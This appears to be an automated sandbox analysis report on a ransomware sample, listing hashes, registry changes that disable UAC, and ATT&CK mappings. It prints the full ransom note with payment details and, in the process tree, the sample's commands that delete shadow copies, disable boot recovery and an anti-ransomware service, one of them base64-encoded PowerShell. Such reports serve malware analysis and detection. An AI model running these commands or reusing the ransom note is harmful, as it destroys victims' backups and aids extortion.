d418ca84ca4bb7db72d2b00f8d6225a57909e02f712c7b0e2d9cefb2e18d0737

Resubmissions

13-07-2024 09:54

240713-lxbx6swdmm 10

13-07-2024 09:50

240713-lvbvdsyapd 10

13-07-2024 09:46

240713-lr1dksyajd 10

Analysis

max time kernel
839s
max time network
841s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
13-07-2024 09:50

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General

Target

020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Size

1.3MB
MD5

ffce3f25a125b5dfcd96e92148b7d209
SHA1

a4c2bfa23b98471ac1ea7103e194cf6488a058ac
SHA256

020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c
SHA512

7d0af9214e4cdabceab9abb2586288e0a42ef9b7a7abc1bc7f03c04cf48b6722eeeee4a476aaf2567feaacbc70fb3e6bf36aa1050b010ef68019b7e80886f823
SSDEEP

24576:1pa1z++i/OfNbXirk1nF1qfWk3w80geAcVW9CFnBOmp7BCr/otH5LSp+7I80w:zF+BZk6FnBOmp7BCr/G7I80

Score

10^/10

defense_evasion evasion execution impact ransomware trojan

Malware Config

Extracted

Path

C:\Users\Admin\Documents\How Do I Recover My Files (Readme).txt

Ransom Note

* What happened to my files? Your important files are encrypted. Many of your documents, photos, videos, databases, and other files are no longer accessible because they are encrypted. Maybe you're busy finding a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service. However, if you want to use the programs of data recovery companies, please do not work on your original files, but make copies of them. Corruption of the actual files can cause irreversible damage to your data. * Can I Recover My Files? Sure. We guarantee that you can recover all your files safely and easily. But for this you need to send $300 worth bitcoins to our address. Even if you give money, Do not believe the people around you who say they will not give your files, I Have Enough Reference To Give You Confidence. I don't know about you, so there is no point in having bad feelings towards you, doing evil to you, my goal is just to earn an income from this business. * What about the guarantees? This is just a job. We never care about you and your deals. If we do not fulfill our work and obligations - no one will cooperate with us. If you do not believe us, tell us any 1 or 2 files with SIMPLE extensions (jpg, xls, doc, etc ... not databases!) And low size (max 1 mb) 1 or 2 file and following special public and private mzrevenge keys produced for you send us we will decrypt these files and send it back to you. This is our guarantee. * How to contact with you? You can write us to our mailbox: [email protected] Don't forget, check your "Spam" or "Junk" folder it you can't get more than 6 hours of answer. * How will the decryption process proceed after payment? After payment, we will send you our special decoder program by mail, just open it, then it will automatically decrypt all your files. but you need to pay for it and contact us. * So what is Bitcoin and how to get it? The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. https://localbitcoins.com/buy_bitcoins Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins/ If you are ready to pay the money we want, Bitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd These are public and private MZREVENGE decryption keys produced for you. If these keys are damaged, nobody can recovery your files. ============================{ PUBLIC MZREVENGE KEY }============================= MZRKEYPUBLICw4YDwovDg8K9wqYOw7DCtsK4wpwQb8KFOlvDlRXDnTdYwrg/w6vDisOjwrjDvikgKW8cw6DCnRQjBsOvM8KUHcKRZsK4MMK3EwbDp8KGFMOewqPCj8Kow59Cw4BefnFzC20jwofCiQPDgcKxLFlmAyTCnRjCkg/Cg8OJWEIxwoHDhTvDnXpkDyjDscOhwrdHw6RFwotDVTbDkj8TwoZvw7vCh8KJZcOEwqh1wpJwPzfDhsOdwr3Dl2ZWwqPDn8OuXnDDrx0TP8KFwrgJwqHCigXDs8KnQ8ObImbCsHjChsKaMzbDrgIYw7LCmMOASsO8QzgCw4rDiXrCt8KjwrRIwrhdwqbDjcO3wo4zwpLCiSvDsA5PPMOrwq9rIxo6WWMkHjQ6wo5pw7c2IXfChsK2UcOSBTnCocKewpDCsmk0eMKCw7fDnMOGwqTCsmUGwoQyw57ClMOFZ8O9HXnCuFBzeMOwb8OXHcOfwoB6bmZnM8KKw4bDh2zChRFYw5nCtsK5VsO1TEXCpTtjw5TCqgk/w48Vw4rCo8Kxwr3Ci2bCmF7Dr8OdCcO1FsOFwpTDqD/DjXIGc28twqYOw4E0w5EywphlwpADw65RUMOuwqY+MsKuwpHCgmgUw6DDisOtX0s= ================================================================================= ============================{ PRIVATE MZREVENGE KEY }============================ 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 =================================================================================

Emails

[email protected]

Wallets

3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd

Signatures

UAC bypass 3 TTPs 4 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (237) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\host	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1564	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2216	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2748	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeBackupPrivilege	780	vssvc.exe
Token: SeRestorePrivilege	780	vssvc.exe
Token: SeAuditPrivilege	780	vssvc.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeIncreaseQuotaPrivilege	2992	WMIC.exe
Token: SeSecurityPrivilege	2992	WMIC.exe
Token: SeTakeOwnershipPrivilege	2992	WMIC.exe
Token: SeLoadDriverPrivilege	2992	WMIC.exe
Token: SeSystemProfilePrivilege	2992	WMIC.exe
Token: SeSystemtimePrivilege	2992	WMIC.exe
Token: SeProfSingleProcessPrivilege	2992	WMIC.exe
Token: SeIncBasePriorityPrivilege	2992	WMIC.exe
Token: SeCreatePagefilePrivilege	2992	WMIC.exe
Token: SeBackupPrivilege	2992	WMIC.exe
Token: SeRestorePrivilege	2992	WMIC.exe
Token: SeShutdownPrivilege	2992	WMIC.exe
Token: SeDebugPrivilege	2992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2992	WMIC.exe
Token: SeRemoteShutdownPrivilege	2992	WMIC.exe
Token: SeUndockPrivilege	2992	WMIC.exe
Token: SeManageVolumePrivilege	2992	WMIC.exe
Token: 33	2992	WMIC.exe
Token: 34	2992	WMIC.exe
Token: 35	2992	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2992	WMIC.exe
Token: SeSecurityPrivilege	2992	WMIC.exe
Token: SeTakeOwnershipPrivilege	2992	WMIC.exe
Token: SeLoadDriverPrivilege	2992	WMIC.exe
Token: SeSystemProfilePrivilege	2992	WMIC.exe
Token: SeSystemtimePrivilege	2992	WMIC.exe
Token: SeProfSingleProcessPrivilege	2992	WMIC.exe
Token: SeIncBasePriorityPrivilege	2992	WMIC.exe
Token: SeCreatePagefilePrivilege	2992	WMIC.exe
Token: SeBackupPrivilege	2992	WMIC.exe
Token: SeRestorePrivilege	2992	WMIC.exe
Token: SeShutdownPrivilege	2992	WMIC.exe
Token: SeDebugPrivilege	2992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2992	WMIC.exe
Token: SeRemoteShutdownPrivilege	2992	WMIC.exe
Token: SeUndockPrivilege	2992	WMIC.exe
Token: SeManageVolumePrivilege	2992	WMIC.exe
Token: 33	2992	WMIC.exe
Token: 34	2992	WMIC.exe
Token: 35	2992	WMIC.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 2672	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	31
PID 2188 wrote to memory of 2672	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	31
PID 2188 wrote to memory of 2672	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	31
PID 2188 wrote to memory of 2672	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	31
PID 2188 wrote to memory of 2728	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	32
PID 2188 wrote to memory of 2728	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	32
PID 2188 wrote to memory of 2728	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	32
PID 2188 wrote to memory of 2728	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	32
PID 2188 wrote to memory of 2748	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	34
PID 2188 wrote to memory of 2748	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	34
PID 2188 wrote to memory of 2748	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	34
PID 2188 wrote to memory of 2748	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	34
PID 2728 wrote to memory of 2216	2728	cmd.exe	37
PID 2728 wrote to memory of 2216	2728	cmd.exe	37
PID 2728 wrote to memory of 2216	2728	cmd.exe	37
PID 2728 wrote to memory of 2216	2728	cmd.exe	37
PID 2672 wrote to memory of 1564	2672	cmd.exe	38
PID 2672 wrote to memory of 1564	2672	cmd.exe	38
PID 2672 wrote to memory of 1564	2672	cmd.exe	38
PID 2672 wrote to memory of 1564	2672	cmd.exe	38
PID 2728 wrote to memory of 2992	2728	cmd.exe	40
PID 2728 wrote to memory of 2992	2728	cmd.exe	40
PID 2728 wrote to memory of 2992	2728	cmd.exe	40
PID 2728 wrote to memory of 2992	2728	cmd.exe	40
PID 2188 wrote to memory of 2264	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	42
PID 2188 wrote to memory of 2264	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	42
PID 2188 wrote to memory of 2264	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	42
PID 2188 wrote to memory of 2264	2188	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	42

System policy modification 1 TTPs 17 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\undockwithoutlogon = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\scforceoption = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "5"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
"C:\Users\Admin\AppData\Local\Temp\020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe"
1⤵
- UAC bypass
- Drops file in Drivers directory
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2188
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C sc config "AppCheck" start=disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\SysWOW64\sc.exe
    sc config "AppCheck" start=disabled
    3⤵
    - Launches sc.exe
    PID:1564
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2216
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2992
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\SysWOW64\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\How Do I Recover My Files (Readme).txt
  2⤵
  PID:2264

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\Documents\How Do I Recover My Files (Readme).txt

Filesize
5KB

MD5
7d29409fa615d234d183282c3fb3fdc6

SHA1
79fbe605791c4b7f810fb14c8a42753ec3f35ee2

SHA256
f42821757a290dcf8e1977bfb75949c0e62705c30f13a65fb6cb05e412b12bcc

SHA512
c89eb91da28d1174f838660a5a60445897738b6dfc89f6495b967497feb776991084944c3c50f2cd3e8c1c4a73aa58c3952968340d0393a16d068aa7c53039b0

Download Submit
memory/2188-489-0x0000000000400000-0x0000000000561000-memory.dmp

Filesize
1.4MB

Download